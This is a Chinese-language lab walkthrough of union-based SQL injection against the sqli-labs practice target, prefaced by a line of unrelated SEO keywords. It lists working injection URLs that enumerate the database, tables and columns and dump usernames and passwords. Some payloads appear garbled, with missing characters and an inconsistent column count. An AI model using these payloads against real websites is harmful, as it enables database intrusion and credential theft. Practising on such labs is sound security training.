wap网站开发需要多少钱,网站建设程序开发,wordpress htaccess 下载,文学网站建设1.1 靶场环境
系统centos7 IP地址192.168.1.24
1.2 联合注入原理
联合查询注入是联合两个表进行注入攻击#xff0c;使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同#xff0c;不然会出现报错。
1.3 找注入点
找注入点#xff0c;当输入id1 an…1.1 靶场环境
系统centos7 IP地址192.168.1.24
1.2 联合注入原理
联合查询注入是联合两个表进行注入攻击使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同不然会出现报错。
1.3 找注入点
找注入点当输入id1 and 12时没有变化尝试单引号闭合找到注入类型 字符型注入单引号闭合
1.4 判断字段数
使用order by 爆破字段数
http://192.168.1.24/sqli-labs/Less-1/?id-1 order by 3-- 没有报错
http://192.168.1.24/sqli-labs/Less-1/?id-1 order by 4-- 报错 字段数为4
1.5 找回显点
http://192.168.1.24/sqli-labs/Less-1/?id-1 union select 1,2,3,4-- 爆出回显点23
1.6 爆数据库与数据库版本信息
开始信息收集(注意union前后格式要相同)
?id-1 union select 1,database(),version()--
database():当前数据库名
version():数据库版本
user():数据库用户用于判断是否有最高权限 爆数据库名以及数据库版本
1.7 爆数据表
爆破表名
?id-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase()-- 得到emails,referers,uagents,users数据表
1.8 爆users表中字段名
?id-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_nameusers-- 得到这些字段名user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
1.9 爆用户名及密码
爆破字段内容
?id-1 union select 1,2,(select group_concat(username,password)from users)-- 在 sql 注入时加入换行符
我们可以在每一个用户名密码后面添加一个换行符。
HTML 中换行符用来表示但是我们需要转换成十六进制 0x3C,0x68,0x72,0x2F,0x3E
ASCII 码表ASCII_百度百科
将十六进制的换行符添加到 password 字段后注password 后面必须添加一个逗号
http://192.168.1.24/sqli-labs/Less-1/?id-1 union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users-- 可以看到每一行都是一个用户名密码